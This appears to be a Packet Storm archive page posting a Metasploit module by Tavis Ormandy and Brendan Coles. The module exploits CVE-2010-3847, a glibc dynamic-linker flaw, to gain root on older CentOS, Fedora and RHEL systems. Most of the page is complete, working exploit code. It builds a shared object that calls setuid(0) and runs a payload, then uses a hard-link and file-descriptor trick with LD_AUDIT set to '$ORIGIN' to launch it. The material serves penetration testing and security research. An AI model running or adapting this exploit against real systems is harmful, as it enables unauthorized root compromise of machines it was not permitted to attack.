what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

glibc '$ORIGIN' Expansion Privilege Escalation

glibc '$ORIGIN' Expansion Privilege Escalation
Posted Feb 10, 2018
Authored by Tavis Ormandy, Brendan Coles | Site metasploit.com

This Metasploit module attempts to gain root privileges on Linux systems by abusing a vulnerability in the GNU C Library (glibc) dynamic linker. glibc ld.so in versions before 2.11.3, and 2.12.x before 2.12.2 does not properly restrict use of the LD_AUDIT environment variable when loading setuid executables which allows control over the $ORIGIN library search path resulting in execution of arbitrary shared objects. This Metasploit module opens a file descriptor to the specified suid executable via a hard link, then replaces the hard link with a shared object before instructing the linker to execute the file descriptor, resulting in arbitrary code execution. The specified setuid binary must be readable and located on the same file system partition as the specified writable directory. This Metasploit module has been tested successfully on glibc version 2.5 on CentOS 5.4 (x86_64), 2.5 on CentOS 5.5 (x86_64) and 2.12 on Fedora 13 (i386). RHEL 5 is reportedly affected, but untested. Some versions of ld.so hit a failed assertion in dl_open_worker causing exploitation to fail.

tags | exploit, arbitrary, root, code execution
systems | linux, fedora, centos
advisories | CVE-2010-3847
SHA-256 | 9a6bdfa99ad597fe9f9517dd0f8bdc9cdeba67fff5dacc64d849ac9bf5bfbfed

glibc '$ORIGIN' Expansion Privilege Escalation

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core/exploit/local/linux'
require 'msf/core/exploit/exe'

class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking

include Msf::Post::File
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
include Msf::Exploit::Local::Linux

def initialize(info = {})
super(update_info(info,
'Name' => "glibc '$ORIGIN' Expansion Privilege Escalation",
'Description' => %q{
This module attempts to gain root privileges on Linux systems by abusing
a vulnerability in the GNU C Library (glibc) dynamic linker.

glibc ld.so in versions before 2.11.3, and 2.12.x before 2.12.2 does not
properly restrict use of the LD_AUDIT environment variable when loading
setuid executables which allows control over the $ORIGIN library search
path resulting in execution of arbitrary shared objects.

This module opens a file descriptor to the specified suid executable via
a hard link, then replaces the hard link with a shared object before
instructing the linker to execute the file descriptor, resulting in
arbitrary code execution.

The specified setuid binary must be readable and located on the same
file system partition as the specified writable directory.

This module has been tested successfully on glibc version 2.5 on CentOS
5.4 (x86_64), 2.5 on CentOS 5.5 (x86_64) and 2.12 on Fedora 13 (i386).

RHEL 5 is reportedly affected, but untested. Some versions of ld.so
hit a failed assertion in dl_open_worker causing exploitation to fail.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Tavis Ormandy', # Discovery and exploit
'Brendan Coles' # Metasploit
],
'DisclosureDate' => 'Oct 18 2010',
'Platform' => 'linux',
'Arch' => [ ARCH_X86, ARCH_X64 ],
'SessionTypes' => [ 'shell', 'meterpreter' ],
'Targets' =>
[
[ 'Automatic', { } ],
[ 'Linux x86', { 'Arch' => ARCH_X86 } ],
[ 'Linux x64', { 'Arch' => ARCH_X64 } ]
],
'DefaultTarget' => 0,
'References' =>
[
[ 'CVE', '2010-3847' ],
[ 'BID', '44154' ],
[ 'EDB', '15274' ],
[ 'URL', 'http://seclists.org/fulldisclosure/2010/Oct/257' ],
[ 'URL', 'https://www.ubuntu.com/usn/usn-1009-1' ],
[ 'URL', 'https://security-tracker.debian.org/tracker/CVE-2010-3847' ],
[ 'URL', 'https://access.redhat.com/security/cve/CVE-2010-3847' ]
]
))
register_options(
[
OptString.new('SUID_EXECUTABLE', [ true, 'Path to a suid executable', '/bin/ping' ]),
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
])
end

def base_dir
datastore['WritableDir']
end

def suid_exe_path
datastore['SUID_EXECUTABLE']
end

def check
glibc_banner = cmd_exec 'ldd --version'
glibc_version = Gem::Version.new glibc_banner.scan(/^ldd\s+\(.*\)\s+([\d\.]+)/).flatten.first
if glibc_version.eql? ''
vprint_error 'Could not determine the GNU C library version'
return CheckCode::Safe
elsif glibc_version >= Gem::Version.new('2.12.2') ||
(glibc_version >= Gem::Version.new('2.11.3') && glibc_version < Gem::Version.new('2.12'))
vprint_error "GNU C Library version #{glibc_version} is not vulnerable"
return CheckCode::Safe
end
vprint_good "GNU C Library version #{glibc_version} is vulnerable"

unless setuid? suid_exe_path
vprint_error "#{suid_exe_path} is not setuid"
return CheckCode::Detected
end
vprint_good "#{suid_exe_path} is setuid"

unless cmd_exec("test -r #{suid_exe_path} && echo true").include? 'true'
vprint_error("#{suid_exe_path} is not readable")
return CheckCode::Detected
end
vprint_good "#{suid_exe_path} is readable"

CheckCode::Appears
end

def upload_and_chmodx(path, data)
print_status "Writing '#{path}' (#{data.size} bytes) ..."
rm_f path
write_file path, data
cmd_exec "chmod +x '#{path}'"
register_file_for_cleanup path
end

def exploit
check_status = check

if check_status == CheckCode::Appears
print_good 'The target appears to be vulnerable'
elsif check_status == CheckCode::Detected
fail_with Failure::BadConfig, "#{suid_exe_path} is not suid or not readable"
else
fail_with Failure::NotVulnerable, 'Target is not vulnerable'
end

suid_partition = cmd_exec "df -P -- '#{suid_exe_path}' | awk 'NR==2 {print $1}'"
base_partition = cmd_exec "df -P -- '#{base_dir}' | awk 'NR==2 {print $1}'"
if suid_partition == base_partition
vprint_good "'#{suid_exe_path}' and '#{base_dir}' are located on the same partition"
else
print_warning "'#{suid_exe_path}' and '#{base_dir}' are not located on the same partition"
end

payload_name = ".#{rand_text_alphanumeric rand(5..10)}"
payload_path = "#{base_dir}/#{payload_name}"

# Set target
uname = cmd_exec 'uname -m'
vprint_status "System architecture is #{uname}"
if target.name.eql? 'Automatic'
case uname
when 'x86_64'
my_target = targets[2]
when /x86/, /i\d86/
my_target = targets[1]
else
fail_with Failure::NoTarget, 'Unable to automatically select a target'
end
else
my_target = target
end
print_status "Using target: #{my_target.name}"

cpu = nil
case my_target['Arch']
when ARCH_X86
cpu = Metasm::Ia32.new
when ARCH_X64
cpu = Metasm::X86_64.new
else
fail_with Failure::NoTarget, 'Target is not compatible'
end

# Compile shared object
so_stub = %|
extern int setuid(int);
extern int setgid(int);
extern int system(const char *__s);

void init(void) __attribute__((constructor));

void __attribute__((constructor)) init() {
setuid(0);
setgid(0);
system("#{payload_path}");
}
|

begin
so = Metasm::ELF.compile_c(cpu, so_stub).encode_string(:lib)
rescue
print_error "Metasm encoding failed: #{$ERROR_INFO}"
elog "Metasm encoding failed: #{$ERROR_INFO.class} : #{$ERROR_INFO}"
elog "Call stack:\n#{$ERROR_INFO.backtrace.join "\n"}"
fail_with Failure::Unknown, 'Metasm encoding failed'
end

# Upload shared object
so_name = ".#{rand_text_alphanumeric rand(5..10)}"
so_path = "#{base_dir}/#{so_name}"
upload_and_chmodx so_path, so

# Upload exploit
link_name = ".#{rand_text_alphanumeric rand(5..10)}"
link_path = "#{base_dir}/#{link_name}"
fd = rand(10..200)
exp = %(
rm -rf '#{link_path}'
mkdir '#{link_path}'
ln #{suid_exe_path} #{link_path}/#{link_name}
exec #{fd}< #{link_path}/#{link_name}
ls -l /proc/$$/fd/#{fd}
rm -rf '#{link_path}'
ls -l /proc/$$/fd/#{fd}
mv #{so_path} #{link_path}
LD_AUDIT="\\$ORIGIN" exec /proc/self/fd/#{fd}
)

exp_name = ".#{rand_text_alphanumeric rand(5..10)}"
exp_path = "#{base_dir}/#{exp_name}"
upload_and_chmodx exp_path, exp
register_file_for_cleanup link_path

# Upload payload
upload_and_chmodx payload_path, generate_payload_exe

# Launch exploit
print_status 'Launching exploit...'
# The echo at the end of the command is required
# else the original session may die
output = cmd_exec "#{exp_path}& echo "
output.each_line { |line| vprint_status line.chomp }
end
end
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close